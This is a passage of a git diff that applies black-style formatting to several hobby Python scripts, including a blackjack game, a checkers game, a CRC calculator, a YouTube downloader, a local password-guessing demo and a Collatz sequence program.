enu_choice = enumerate((operation.get(p) for p in pattern), 1) dict_choice = dict(enu_choice) for index, operator in dict_choice.items(): - choice_fmt = '\t[{index}] {operation}' + choice_fmt = "\t[{index}] {operation}" print(choice_fmt.format(index=index, operation=operator)) return dict_choice @@ -332,29 +335,34 @@ def update(self, winner, chips, player_point, dealer_point): self.rounds += 1 self.remain_chips = chips self.winner = winner - if self.winner == 'Player': + if self.winner == "Player": self.player_win_count += 1 - elif self.winner == 'Dealer': + elif self.winner == "Dealer": self.dealer_win_count += 1 self.player_point = player_point self.dealer_point = dealer_point def record(self, winner, chips, player_point, dealer_point): self.update(winner, chips, player_point, dealer_point) - Row = namedtuple('Row', [ - 'rounds', 'player_point', 'dealer_point', 'winner', 'remain_chips' - ]) - row = Row(self.rounds, self.player_point, self.dealer_point, - self.winner, self.remain_chips) + Row = namedtuple( + "Row", ["rounds", "player_point", "dealer_point", "winner", "remain_chips"] + ) + row = Row( + self.rounds, + self.player_point, + self.dealer_point, + self.winner, + self.remain_chips, + ) self.data.append(row) def draw_diagram(self): - content = 'Record display' - bars = '--' * 14 + content = "Record display" + bars = "--" * 14 content_bar = bars + content + bars - base_bar = bars + '-' * len(content) + bars + base_bar = bars + "-" * len(content) + bars - os.system('clear') + os.system("clear") print(base_bar) print(content_bar) print(base_bar) @@ -364,17 +372,23 @@ def draw_diagram(self): print(base_bar) def digram(self): - title = 'Round\tPlayer-Point\tDealer-Point\tWinner-is\tRemain-Chips' - row_fmt = '{}\t{}\t\t{}\t\t{}\t\t{}' + title = "Round\tPlayer-Point\tDealer-Point\tWinner-is\tRemain-Chips" + row_fmt = "{}\t{}\t\t{}\t\t{}\t\t{}" print(title) for row in self.data: print( - row_fmt.format(row.rounds, row.player_point, row.dealer_point, - row.winner, row.remain_chips)) - - print('') - win_rate_fmt = '>> Player win rate: {}%\n>> Dealer win rate: {}%' + row_fmt.format( + row.rounds, + row.player_point, + row.dealer_point, + row.winner, + row.remain_chips, + ) + ) + + print("") + win_rate_fmt = ">> Player win rate: {}%\n>> Dealer win rate: {}%" try: player_rate = round(self.player_win_count / self.rounds * 100, 2) dealer_rate = round(self.dealer_win_count / self.rounds * 100, 2) @@ -387,7 +401,7 @@ def digram(self): class BlackJack: def __init__(self, username): self.deck = Deck() - self.dealer = Dealer('Bob') + self.dealer = Dealer("Bob") self.player = Player(username.title(), 1000) self.recorder = Recorder() self.go_on = True @@ -415,19 +429,23 @@ def play(self): if not self.bust: self.is_surrender() self.winner = self.get_winner() - self.res = 'Winner is ' + self.winner - os.system('clear') + self.res = "Winner is " + self.winner + os.system("clear") self.calculate_chips() self.result_exhibit() self.dealer.unveiling() self.player.unveiling() - self.recorder.record(self.winner, self.player.chips.amount, - self.player.point, self.dealer.point) + self.recorder.record( + self.winner, + self.player.chips.amount, + self.player.point, + self.dealer.point, + ) self.recorder.draw_diagram() - ending = '\n\tSorry I lost all chips!\n\tTime to say goodbye.' + ending = "\n\tSorry I lost all chips!\n\tTime to say goodbye." self.player.speak(ending) - print('\n' + '-' * 20 + ' End Game ' + '-' * 20) + print("\n" + "-" * 20 + " End Game " + "-" * 20) def initial_game(self): self.go_on = True @@ -441,21 +459,21 @@ def initial_game(self): self.player.drop_card() self.player.refresh_prompt() self.dealer.drop_card() - print('\n' + '-' * 20 + ' Start Game ' + '-' * 20) + print("\n" + "-" * 20 + " Start Game " + "-" * 20) def in_bet(self): - in_bet = '\n\tI want to bet: ' + in_bet = "\n\tI want to bet: " not_invalid = True - self.player.speak(in_bet, end_char='') + self.player.speak(in_bet, end_char="") while not_invalid: try: self.player.chips.bet_amount = input() except ValueError as e: print(e) - self.player.speak(in_bet, end_char='') + self.player.speak(in_bet, end_char="") continue except KeyboardInterrupt: - print('') + print("") self.recorder.draw_diagram() quit() else: @@ -476,24 +494,21 @@ def deal_card(self): self.player.showing() def menu(self): - pattern = 'HS' + pattern = "HS" if self.first_hand: - pattern += 'U' - if self.dealer.hand[ - 1].rank == 1 and self.player.chips.current_amount(): - pattern += 'I' + pattern += "U" + if self.dealer.hand[1].rank == 1 and self.player.chips.current_amount(): + pattern += "I" self.dealer.ask_insurance() - if self.player.is_point('>', - 10) and self.player.chips.can_double(): - pattern += 'D' + if self.player.is_point(">", 10) and self.player.chips.can_double(): + pattern += "D" self.first_hand = False choices = self.player.select_choice(pattern) - select = self.get_select(len(choices), - general_err='Select above number.') + select = self.get_select(len(choices), general_err="Select above number.") return choices[select] @staticmethod - def get_select(select_max, prompt='>> ', general_err=''): + def get_select(select_max, prompt=">> ", general_err=""): while True: try: value = input(prompt) @@ -504,76 +519,76 @@ def get_select(select_max, prompt='>> ', general_err=''): print(general_err) continue except KeyboardInterrupt: - print('') + print("") quit() else: return select def chips_manage(self): - if self.choice == 'Insurance': - err = ('The amount should under ' + - str(self.player.chips.current_amount())) - pay_ins = self.get_select(self.player.chips.current_amount(), - prompt='Insurance amount >> ', - general_err=err) + if self.choice == "Insurance": + err = "The amount should under " + str(self.player.chips.current_amount()) + pay_ins = self.get_select( + self.player.chips.current_amount(), + prompt="Insurance amount >> ", + general_err=err, + ) self.player.chips.insurance = pay_ins - if self.choice == 'Double-down': + if self.choice == "Double-down": try: self.player.chips.double_bet() except ValueError as e: print(e) self.player.refresh_prompt() - if self.choice in ('Insurance', 'Double-down', 'Surrender'): + if self.choice in ("Insurance", "Double-down", "Surrender"): self.go_on = False def card_manage(self): - if self.choice in ('Hit', 'Double-down'): + if self.choice in ("Hit", "Double-down"): self.player.obtain_card(self.deck) - if self.player.is_point('>', BLACK_JACK): - raise ValueError('Player BUST') + if self.player.is_point(">", BLACK_JACK): + raise ValueError("Player BUST") else: self.dealer.strategy_trigger(self.deck) - if self.dealer.is_point('>', BLACK_JACK): - raise ValueError('Dealer BUST') - elif self.choice != 'Surrender': + if self.dealer.is_point(">", BLACK_JACK): + raise ValueError("Dealer BUST") + elif self.choice != "Surrender": if not self.player.chips.is_insurance: self.dealer.strategy_trigger(self.deck) - if self.dealer.is_point('>', BLACK_JACK): - raise ValueError('Dealer BUST') + if self.dealer.is_point(">", BLACK_JACK): + raise ValueError("Dealer BUST") self.dealer.showing() self.player.showing() - if self.choice in ('Double-down', 'Stand'): + if self.choice in ("Double-down", "Stand"): self.go_on = False def is_surrender(self): - if self.choice == 'Surrender': - self.player.speak('Sorry, I surrender....\n') + if self.choice == "Surrender": + self.player.speak("Sorry, I surrender....\n") def get_winner(self): if self.bust: - return 'Dealer' if self.player.is_point('>', - BLACK_JACK) else 'Player' + return "Dealer" if self.player.is_point(">", BLACK_JACK) else "Player" - if self.choice == 'Surrender': - return 'Dealer' - elif self.choice == 'Insurance': - if self.player.is_point('==', BLACK_JACK): - return 'Dealer' - return 'Player' + if self.choice == "Surrender": + return "Dealer" + elif self.choice == "Insurance": + if self.player.is_point("==", BLACK_JACK): + return "Dealer" + return "Player" - if self.choice in ('Double-down', 'Stand'): + if self.choice in ("Double-down", "Stand"): self.player.calculate_point() self.dealer.calculate_point() if self.player.point > self.dealer.point: - return 'Player' - return 'Dealer' + return "Player" + return "Dealer" - return 'Both' + return "Both" def calculate_chips(self): - if self.choice == 'Surrender': + if self.choice == "Surrender": if self.player.chips.bet_amount == 1: if self.player.chips.current_amount() == 0: self.player.chips.amount = 0 @@ -581,41 +596,43 @@ def calculate_chips(self): surrender_amount = self.player.chips.bet_amount // 2 self.player.chips.amount -= surrender_amount - elif self.choice in ('Double-down', 'Stand', 'Insurance', 'Hit'): - if self.winner == 'Player': - self.player.chips.amount += (self.player.chips.bet_amount + - self.player.chips.insurance * 2) - elif self.winner == 'Dealer': - self.player.chips.amount -= (self.player.chips.bet_amount + - self.player.chips.insurance) + elif self.choice in ("Double-down", "Stand", "Insurance", "Hit"): + if self.winner == "Player": + self.player.chips.amount += ( + self.player.chips.bet_amount + self.player.chips.insurance * 2 + ) + elif self.winner == "Dealer": + self.player.chips.amount -= ( + self.player.chips.bet_amount + self.player.chips.insurance + ) def result_exhibit(self): def get_color(): - if 'BUST' in content: - return COLOR.get('RED' if 'Player' in content else 'GREEN') - if self.winner == 'Player': - return COLOR.get('GREEN') - elif self.winner == 'Dealer': - return COLOR.get('RED') + if "BUST" in content: + return COLOR.get("RED" if "Player" in content else "GREEN") + if self.winner == "Player": + return COLOR.get("GREEN") + elif self.winner == "Dealer": + return COLOR.get("RED") else: - return COLOR.get('YELLOW') + return COLOR.get("YELLOW") - end = COLOR.get('END') + end = COLOR.get("END") content = str(self.res) color = get_color() - winner_fmt = color + '\n\t>> {content} <<\n' + end + winner_fmt = color + "\n\t>> {content} <<\n" + end print(winner_fmt.format(content=content)) def main(): try: - user_name = input('What is your name: ') + user_name = input("What is your name: ") except KeyboardInterrupt: - print('') + print("") else: black_jack = BlackJack(username=user_name) black_jack.play() -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/BruteForce.py b/BruteForce.py index 8c2ce3cea76..46b17844e26 100644 --- a/BruteForce.py +++ b/BruteForce.py @@ -64,7 +64,6 @@ def getChars(): pw = input("\n Type a password: ") print("\n") - def testFunction(password): global pw if password == pw: @@ -72,14 +71,15 @@ def testFunction(password): else: return False - # Obtém os dígitos que uma senha pode ter chars = getChars() t = time.process_time() # Obtém a senha encontrada e o múmero de tentativas - password, attempts = findPassword(chars, testFunction, show=1000, format_=" Trying %s") + password, attempts = findPassword( + chars, testFunction, show=1000, format_=" Trying %s" + ) t = datetime.timedelta(seconds=int(time.process_time() - t)) input(f"\n\n Password found: {password}\n Attempts: {attempts}\n Time: {t}\n") diff --git a/CRC/crc.py b/CRC/crc.py index d35ffebd534..d3d302244b7 100644 --- a/CRC/crc.py +++ b/CRC/crc.py @@ -18,19 +18,21 @@ def crc_check(data, div): for i in range(l - 1, -1, -1): temp_data[i] = temp_data[i] ^ div[i] temp_data.pop(0) - if (l + j < len(data)): + if l + j < len(data): temp_data.append(data[l + j]) crc = temp_data print("Quotient: ", result, "remainder", crc) return crc + + # returning crc value while 1 > 0: print("Enter data: ") - data = input() #can use it like int(input()) + data = input() # can use it like int(input()) print("Enter divisor") - div = input() #can use it like int(input()) + div = input() # can use it like int(input()) original_data = data data = data + ("0" * (len(div) - 1)) crc = crc_check(data, div) @@ -39,13 +41,15 @@ def crc_check(data, div): crc_str += c print("Sent data: ", original_data + crc_str) sent_data = original_data + crc_str - print("If again applying CRC algorithm, the remainder/CRC must be zero if errorless.") + print( + "If again applying CRC algorithm, the remainder/CRC must be zero if errorless." + ) crc = crc_check(sent_data, div) remainder = crc print("Receiver side remainder: ", remainder) print("Continue [Y/N]:") ch = input() - if ch == 'N' or ch == 'n': + if ch == "N" or ch == "n": break else: continue diff --git a/Checker_game_by_dz/first.py b/Checker_game_by_dz/first.py index 3c927eec439..55c572e3629 100644 --- a/Checker_game_by_dz/first.py +++ b/Checker_game_by_dz/first.py @@ -1,7 +1,7 @@ -''' +""" Author : Dhruv B Kakadiya -''' +""" # import libraries import pygame as pg @@ -17,14 +17,15 @@ pg.display.set_caption("Checkers") # get row and col for mouse -def get_row_col_mouse (pos): +def get_row_col_mouse(pos): x, y = pos row = y // sq_size col = x // sq_size return row, col + # main function -if __name__ == '__main__': +if __name__ == "__main__": # represents the game run = True @@ -37,23 +38,23 @@ def get_row_col_mouse (pos): game = checker(WIN) # main loop - while (run): + while run: clock.tick(fps) - if (board.winner() != None): + if board.winner() != None: print(board.winner()) # check if any events is running or not for event in pg.event.get(): - if (event.type == pg.QUIT): + if event.type == pg.QUIT: run = False - if (event.type == pg.MOUSEBUTTONDOWN): + if event.type == pg.MOUSEBUTTONDOWN: pos = pg.mouse.get_pos() row, col = get_row_col_mouse(pos) game.selectrc(row, col) - #piece = board.get_piece(row, col) - #board.move(piece, 4, 3) + # piece = board.get_piece(row, col) + # board.move(piece, 4, 3) game.update() - pg.quit() \ No newline at end of file + pg.quit() diff --git a/Checker_game_by_dz/modules/__init__.py b/Checker_game_by_dz/modules/__init__.py index 0d3346e8e0b..78dc4841952 100644 --- a/Checker_game_by_dz/modules/__init__.py +++ b/Checker_game_by_dz/modules/__init__.py @@ -1,4 +1,4 @@ -''' +""" Auhtor : Dhruv B Kakadiya -''' +""" diff --git a/Checker_game_by_dz/modules/checker.py b/Checker_game_by_dz/modules/checker.py index 0bc9e25417d..8525435aef0 100644 --- a/Checker_game_by_dz/modules/checker.py +++ b/Checker_game_by_dz/modules/checker.py @@ -1,20 +1,21 @@ -''' +""" Author : Dhruv B Kakadiya -''' +""" import pygame as pg from .checker_board import * from .statics import * from .pieces import * + class checker: def __init__(self, window): self._init() self.window = window # to update the position - def update (self): + def update(self): self.board.draw(self.window) self.draw_moves(self.valid_moves) pg.display.update() @@ -26,18 +27,18 @@ def _init(self): self.valid_moves = {} # to reset the position - def reset (self): + def reset(self): self._init() # select row and column def selectrc(self, row, col): - if (self.select): + if self.select: result = self._move(row, col) - if (not result): + if not result: self.select = None piece = self.board.get_piece(row, col) - if ((piece != 0) and (piece.color == self.turn)): + if (piece != 0) and (piece.color == self.turn): self.select = piece self.valid_moves = self.board.get_valid_moves(piece) return True @@ -46,10 +47,10 @@ def selectrc(self, row, col): # to move the pieces def _move(self, row, col): piece = self.board.get_piece(row, col) - if ((self.select) and (piece == 0) and (row, col) in self.valid_moves): + if (self.select) and (piece == 0) and (row, col) in self.valid_moves: self.board.move(self.select, row, col) skip = self.valid_moves[(row, col)] - if (skip): + if skip: self.board.remove(skip) self.chg_turn() else: @@ -57,15 +58,20 @@ def _move(self, row, col): return True # to draw next possible move - def draw_moves (self, moves): + def draw_moves(self, moves): for move in moves: row, col = move - pg.draw.circle(self.window, red, (col * sq_size + sq_size // 2, row * sq_size + sq_size // 2), 15) + pg.draw.circle( + self.window, + red, + (col * sq_size + sq_size // 2, row * sq_size + sq_size // 2), + 15, + ) # for changing the turn - def chg_turn (self): + def chg_turn(self): self.valid_moves = {} - if (self.turn == black): + if self.turn == black: self.turn = white else: - self.turn = black \ No newline at end of file + self.turn = black diff --git a/Checker_game_by_dz/modules/checker_board.py b/Checker_game_by_dz/modules/checker_board.py index f4bdaa84b2e..b14df11b360 100644 --- a/Checker_game_by_dz/modules/checker_board.py +++ b/Checker_game_by_dz/modules/checker_board.py @@ -1,7 +1,7 @@ -''' +""" Author : Dhruv B Kakadiya -''' +""" import pygame as pg from .statics import * @@ -21,42 +21,47 @@ def draw_cubes(self, window): window.fill(green) for row in range(rows): for col in range(row % 2, cols, 2): - pg.draw.rect(window, yellow, (row * sq_size, col * sq_size, sq_size, sq_size)) - - def move (self, piece, row, col): - self.board[piece.row][piece.col], self.board[row][col] = self.board[row][col], self.board[piece.row][piece.col] + pg.draw.rect( + window, yellow, (row * sq_size, col * sq_size, sq_size, sq_size) + ) + + def move(self, piece, row, col): + self.board[piece.row][piece.col], self.board[row][col] = ( + self.board[row][col], + self.board[piece.row][piece.col], + ) piece.move(row, col) - if (row == rows - 1 or row == 0): + if row == rows - 1 or row == 0: piece.make_king() - if (piece.color == white): + if piece.color == white: self.white_k += 1 else: self.black_k += 1 # to get piece whatever they want - def get_piece (self, row, col): + def get_piece(self, row, col): return self.board[row][col] def create_board(self): for row in range(rows): self.board.append([]) for col in range(cols): - if ( col % 2 == ((row + 1) % 2) ): - if (row < 3): + if col % 2 == ((row + 1) % 2): + if row < 3: self.board[row].append(pieces(row, col, white)) - elif (row > 4): + elif row > 4: self.board[row].append(pieces(row, col, black)) else: self.board[row].append(0) else: self.board[row].append(0) - def draw (self, window): + def draw(self, window): self.draw_cubes(window) for row in range(rows): for col in range(cols): piece = self.board[row][col] - if (piece != 0): + if piece != 0: piece.draw(window) def get_valid_moves(self, piece): @@ -65,58 +70,70 @@ def get_valid_moves(self, piece): r = piece.col + 1 row = piece.row - if (piece.color == black or piece.king): - moves.update(self._traverse_l(row - 1, max(row - 3, -1), -1, piece.color, l)) - moves.update(self._traverse_r(row - 1, max(row - 3, -1), -1, piece.color, r)) - - if (piece.color == white or piece.king): - moves.update(self._traverse_l(row + 1, min(row + 3, rows), 1, piece.color, l)) - moves.update(self._traverse_r(row + 1, min(row + 3, rows), 1, piece.color, r)) + if piece.color == black or piece.king: + moves.update( + self._traverse_l(row - 1, max(row - 3, -1), -1, piece.color, l) + ) + moves.update( + self._traverse_r(row - 1, max(row - 3, -1), -1, piece.color, r) + ) + + if piece.color == white or piece.king: + moves.update( + self._traverse_l(row + 1, min(row + 3, rows), 1, piece.color, l) + ) + moves.update( + self._traverse_r(row + 1, min(row + 3, rows), 1, piece.color, r) + ) return moves - def remove (self, pieces): + def remove(self, pieces): for piece in pieces: self.board[piece.row][piece.col] = 0 - if (piece != 0): - if (piece.color == black): + if piece != 0: + if piece.color == black: self.black_l -= 1 else: self.white_l -= 1 - def winner (self): - if (self.black_l <= 0): + def winner(self): + if self.black_l <= 0: return white - elif (self.white_l <= 0): + elif self.white_l <= 0: return black return None # Traversal Left - def _traverse_l (self, start, stop, step, color, l, skip = []): + def _traverse_l(self, start, stop, step, color, l, skip=[]): moves = {} last = [] for r in range(start, stop, step): - if (l < 0): + if l < 0: break current = self.board[r][l] - if (current == 0): - if (skip and not last): + if current == 0: + if skip and not last: break - elif (skip): + elif skip: moves[(r, l)] = last + skip else: moves[(r, l)] = last - if (last): - if (step == -1): + if last: + if step == -1: row = max(r - 3, 0) else: row = min(r + 3, rows) - moves.update(self._traverse_l(r + step, row, step, color, l - 1, skip = last)) - moves.update(self._traverse_r(r + step, row, step, color, l + 1, skip = last)) + moves.update( + self._traverse_l(r + step, row, step, color, l - 1, skip=last) + ) + moves.update( + self._traverse_r(r + step, row, step, color, l + 1, skip=last) + ) break - elif (current.color == color): + elif current.color == color: break else: last = [current] @@ -124,33 +141,41 @@ def _traverse_l (self, start, stop, step, color, l, skip = []): return moves # Traversal Right - def _traverse_r (self, start, stop, step, color, right, skip = []): + def _traverse_r(self, start, stop, step, color, right, skip=[]): moves = {} last = [] for r in range(start, stop, step): - if (right >= cols): + if right >= cols: break current = self.board[r][right] - if (current == 0): - if (skip and not last): + if current == 0: + if skip and not last: break - elif (skip): + elif skip: moves[(r, right)] = last + skip else: moves[(r, right)] = last - if (last): - if (step == -1): + if last: + if step == -1: row = max(r - 3, 0) else: row = min(r + 3, rows) - moves.update(self._traverse_l(r + step, row, step, color, right - 1, skip = last)) - moves.update(self._traverse_r(r + step, row, step, color, right + 1, skip = last)) + moves.update( + self._traverse_l( + r + step, row, step, color, right - 1, skip=last + ) + ) + moves.update( + self._traverse_r( + r + step, row, step, color, right + 1, skip=last + ) + ) break - elif (current.color == color): + elif current.color == color: break else: last = [current] right += 1 - return moves \ No newline at end of file + return moves diff --git a/Checker_game_by_dz/modules/pieces.py b/Checker_game_by_dz/modules/pieces.py index f26363e20a1..2a0b2de413f 100644 --- a/Checker_game_by_dz/modules/pieces.py +++ b/Checker_game_by_dz/modules/pieces.py @@ -1,15 +1,16 @@ -''' +""" Author : Dhruv B Kakadiya -''' +""" from .statics import * import pygame as pg + class pieces: padding = 17 - outline = 2 + outline = 2 def __init__(self, row, col, color): self.row = row @@ -17,31 +18,34 @@ def __init__(self, row, col, color): self.color = color self.king = False - '''if (self.color == yellow): + """if (self.color == yellow): self.direction = -1 else: - self.direction = 1''' + self.direction = 1""" self.x = self.y = 0 self.calculate_pos() # calculate the positions - def calculate_pos (self): - self.x = ((sq_size * self.col) + (sq_size // 2)) - self.y = ((sq_size * self.row) + (sq_size // 2)) + def calculate_pos(self): + self.x = (sq_size * self.col) + (sq_size // 2) + self.y = (sq_size * self.row) + (sq_size // 2) # for making king - def make_king (self): + def make_king(self): self.king = True - def draw (self, window): - radd = ((sq_size // 2) - self.padding) + def draw(self, window): + radd = (sq_size // 2) - self.padding pg.draw.circle(window, gray, (self.x, self.y), radd + self.outline) pg.draw.circle(window, self.color, (self.x, self.y), radd) - if (self.king): - window.blit(crown, ((self.x - crown.get_width() // 2), (self.y - crown.get_height() // 2))) + if self.king: + window.blit( + crown, + ((self.x - crown.get_width() // 2), (self.y - crown.get_height() // 2)), + ) - def move (self, row, col): + def move(self, row, col): self.row = row self.col = col self.calculate_pos() @@ -49,4 +53,3 @@ def move (self, row, col): # represtation as a string def __repr__(self): return str(self.color) - diff --git a/Checker_game_by_dz/modules/statics.py b/Checker_game_by_dz/modules/statics.py index 797c1c396d7..564d93a41c6 100644 --- a/Checker_game_by_dz/modules/statics.py +++ b/Checker_game_by_dz/modules/statics.py @@ -1,13 +1,13 @@ -''' +""" Author : Dhruv B Kakadiya -''' +""" import pygame as pg # size of board width, height = 800, 800 -rows , cols = 8, 8 +rows, cols = 8, 8 sq_size = width // cols # colours for board @@ -20,5 +20,4 @@ # colour for for next move black = (0, 0, 0) -crown = pg.transform.scale(pg.image.load('assets/crown.png'), (45, 25)) - +crown = pg.transform.scale(pg.image.load("assets/crown.png"), (45, 25)) diff --git a/Chrome Dino Automater.py b/Chrome Dino Automater.py index dac0642c74f..eca256a1202 100644 --- a/Chrome Dino Automater.py +++ b/Chrome Dino Automater.py @@ -1,5 +1,6 @@ import pyautogui # pip install pyautogui from PIL import Image, ImageGrab # pip install pillow + # from numpy import asarray import time @@ -34,7 +35,7 @@ def isCollide(data): # hit('up') while True: - image = ImageGrab.grab().convert('L') + image = ImageGrab.grab().convert("L") data = image.load() isCollide(data) diff --git a/Classification_human_or_horse.py b/Classification_human_or_horse.py index 3ccb6c870f8..4aa069a855a 100644 --- a/Classification_human_or_horse.py +++ b/Classification_human_or_horse.py @@ -2,30 +2,37 @@ import tensorflow as tf -model = tf.keras.models.Sequential([tf.keras.layers.Conv2D(16, (3, 3), activation='relu', input_shape=(200, 200, 3)), - tf.keras.layers.MaxPooling2D(2, 2), - tf.keras.layers.Conv2D(16, (3, 3), activation='relu'), - tf.keras.layers.MaxPooling2D(2, 2), - tf.keras.layers.Conv2D(16, (3, 3), activation='relu'), - tf.keras.layers.MaxPooling2D(2, 2), - tf.keras.layers.Flatten(), - tf.keras.layers.Dense(512, activation='relu'), - tf.keras.layers.Dense(1, activation="sigmoid") - ]) +model = tf.keras.models.Sequential( + [ + tf.keras.layers.Conv2D( + 16, (3, 3), activation="relu", input_shape=(200, 200, 3) + ), + tf.keras.layers.MaxPooling2D(2, 2), + tf.keras.layers.Conv2D(16, (3, 3), activation="relu"), + tf.keras.layers.MaxPooling2D(2, 2), + tf.keras.layers.Conv2D(16, (3, 3), activation="relu"), + tf.keras.layers.MaxPooling2D(2, 2), + tf.keras.layers.Flatten(), + tf.keras.layers.Dense(512, activation="relu"), + tf.keras.layers.Dense(1, activation="sigmoid"), + ] +) model.summary() from tensorflow.keras.optimizers import RMSprop -model.compile(optimizer=RMSprop(lr=0.001), loss='binary_crossentropy', metrics=['acc']) +model.compile(optimizer=RMSprop(lr=0.001), loss="binary_crossentropy", metrics=["acc"]) from tensorflow.keras.preprocessing.image import ImageDataGenerator train_datagen = ImageDataGenerator(rescale=1 / 255) -train_generator = train_datagen.flow_from_directory('../Classification_human-or-horse', - target_size=(200, 200), - batch_size=222, - class_mode='binary') +train_generator = train_datagen.flow_from_directory( + "../Classification_human-or-horse", + target_size=(200, 200), + batch_size=222, + class_mode="binary", +) model.fit_generator(train_generator, steps_per_epoch=6, epochs=1, verbose=1) filename = "myTf1.sav" -pickle.dump(model, open(filename, 'wb')) +pickle.dump(model, open(filename, "wb")) from tkinter import Tk from tkinter.filedialog import askopenfilename diff --git a/CliYoutubeDownloader.py b/CliYoutubeDownloader.py index eb1c9f12509..7b9d3d4bf1d 100644 --- a/CliYoutubeDownloader.py +++ b/CliYoutubeDownloader.py @@ -6,7 +6,8 @@ class YouTubeDownloder: def __init__(self): self.url = str(input("Enter the url of video : ")) self.youtube = YouTube( - self.url, on_progress_callback=YouTubeDownloder.onProgress) + self.url, on_progress_callback=YouTubeDownloder.onProgress + ) self.showTitle() def showTitle(self): @@ -16,8 +17,11 @@ def showTitle(self): def showStreams(self): self.streamNo = 1 for stream in self.youtube.streams: - print("{0} => resolation:{1}/fps:{2}/type:{3}".format(self.streamNo, - stream.resolution, stream.fps, stream.type)) + print( + "{0} => resolation:{1}/fps:{2}/type:{3}".format( + self.streamNo, stream.resolution, stream.fps, stream.type + ) + ) self.streamNo += 1 self.chooseStream() @@ -33,7 +37,7 @@ def validateChooseValue(self): self.chooseStream() def getStream(self): - self.stream = self.youtube.streams[self.choose-1] + self.stream = self.youtube.streams[self.choose - 1] self.getFileSize() def getFileSize(self): @@ -42,8 +46,15 @@ def getFileSize(self): self.getPermisionToContinue() def getPermisionToContinue(self): - print("\n title : {0} \n author : {1} \n size : {2:.2f}MB \n resolution : {3} \n fps : {4} \n ".format( - self.youtube.title, self.youtube.author, file_size, self.stream.resolution, self.stream.fps)) + print( + "\n title : {0} \n author : {1} \n size : {2:.2f}MB \n resolution : {3} \n fps : {4} \n ".format( + self.youtube.title, + self.youtube.author, + file_size, + self.stream.resolution, + self.stream.fps, + ) + ) if input("do you want it ?(defualt = (y)es) or (n)o ") == "n": self.showStreams() else: @@ -53,10 +64,12 @@ def download(self): self.stream.download() @staticmethod - def onProgress(stream=None, chunk=None, remaining=None): - file_downloaded = (file_size-(remaining/1000000)) + def onProgress(stream=None, chunk=None, remaining=None): + file_downloaded = file_size - (remaining / 1000000) print( - f"downloading ... {file_downloaded/file_size*100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", end="\r") + f"downloading ... {file_downloaded/file_size*100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", + end="\r", + ) def main(self): try: diff --git a/CliYoutubeDownloader/CliYoutubeDownloader.py b/CliYoutubeDownloader/CliYoutubeDownloader.py index 16688549475..81c35a81ad8 100644 --- a/CliYoutubeDownloader/CliYoutubeDownloader.py +++ b/CliYoutubeDownloader/CliYoutubeDownloader.py @@ -8,7 +8,8 @@ class YouTubeDownloder: def __init__(self): self.url = str(input("Enter the url of video : ")) self.youtube = pytube.YouTube( - self.url, on_progress_callback=YouTubeDownloder.onProgress) + self.url, on_progress_callback=YouTubeDownloder.onProgress + ) self.showTitle() def showTitle(self): @@ -18,8 +19,11 @@ def showTitle(self): def showStreams(self): self.streamNo = 1 for stream in self.youtube.streams: - print("{0} => resolution:{1}/fps:{2}/type:{3}".format(self.streamNo, - stream.resolution, stream.fps, stream.type)) + print( + "{0} => resolution:{1}/fps:{2}/type:{3}".format( + self.streamNo, stream.resolution, stream.fps, stream.type + ) + ) self.streamNo += 1 self.chooseStream() @@ -35,7 +39,7 @@ def validateChooseValue(self): self.chooseStream() def getStream(self): - self.stream = self.youtube.streams[self.choose-1] + self.stream = self.youtube.streams[self.choose - 1] self.getFileSize() def getFileSize(self): @@ -44,8 +48,15 @@ def getFileSize(self): self.getPermisionToContinue() def getPermisionToContinue(self): - print("\n title : {0} \n author : {1} \n size : {2:.2f}MB \n resolution : {3} \n fps : {4} \n ".format( - self.youtube.title, self.youtube.author, file_size, self.stream.resolution, self.stream.fps)) + print( + "\n title : {0} \n author : {1} \n size : {2:.2f}MB \n resolution : {3} \n fps : {4} \n ".format( + self.youtube.title, + self.youtube.author, + file_size, + self.stream.resolution, + self.stream.fps, + ) + ) if input("do you want it ?(defualt = (y)es) or (n)o ") == "n": self.showStreams() else: @@ -55,10 +66,12 @@ def download(self): self.stream.download() @staticmethod - def onProgress(stream=None, chunk=None, remaining=None): - file_downloaded = (file_size-(remaining/1000000)) + def onProgress(stream=None, chunk=None, remaining=None): + file_downloaded = file_size - (remaining / 1000000) print( - f"downloading ... {file_downloaded/file_size*100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", end="\r") + f"downloading ... {file_downloaded/file_size*100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", + end="\r", + ) def main(self): try: diff --git a/Collatz-Conjecture.py b/Collatz-Conjecture.py index c5da7b775a1..bafea8c6d41 100644 --- a/Collatz-Conjecture.py +++ b/Collatz-Conjecture.py @@ -34,30 +34,31 @@ import math -print('Collatz Conjecture (Revised)\n') +print("Collatz Conjecture (Revised)\n") + def main(): # Get the input - number = input('Enter a number to calculate: ') + number = input("Enter a number to calculate: ") try: number = float(number) except ValueError: - print('Error: Could not convert to integer.') - print('Only numbers (e.g. 42) can be entered as input.') + print("Error: Could not convert to integer.") + print("Only numbers (e.g. 42) can be entered as input.") main() # Prevent any invalid inputs if number <= 0: - print('Error: Numbers zero and below are not calculable.') + print("Error: Numbers zero and below are not calculable.") main() if number == math.inf: - print('Error: Infinity is not calculable.') + print("Error: Infinity is not calculable.") main() # Confirmation before beginning - print('Number is:', number) - input('Press ENTER to begin.') - print('\nBEGIN COLLATZ SEQUENCE') + print("Number is:", number) + input("Press ENTER to begin.") + print("\nBEGIN COLLATZ SEQUENCE") def sequence(number: float) -> float: """ @@ -66,24 +67,25 @@ def sequence(number: float) -> float: the Collatz sequence to the given number (parameter number). """ - modulo = number % 2 # The number modulo'd by 2 - if modulo == 0: # If the result is 0, - number = number / 2 # divide it by 2 - else: # Otherwise, - number = 3 * number + 1 # multiply by 3 and add 1 (3x + 1) + modulo = number % 2 # The number modulo'd by 2 + if modulo == 0: # If the result is 0, + number = number / 2 # divide it by 2 + else: # Otherwise, + number = 3 * number + 1 # multiply by 3 and add 1 (3x + 1) return number - # Execute the sequence + # Execute the sequence while True: number = sequence(number) print(round(number)) if number == 1.0: break - print('END COLLATZ SEQUENCE') - print('Sequence has reached a 4-2-1 loop.') - exit(input('\nPress ENTER to exit.')) + print("END COLLATZ SEQUENCE") + print("Sequence has reached a 4-2-1 loop.") + exit(input("\nPress ENTER to exit.")) + # Entry point of the program -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/Colors/pixel_sort.py b/Colors/pixel_sort.py index 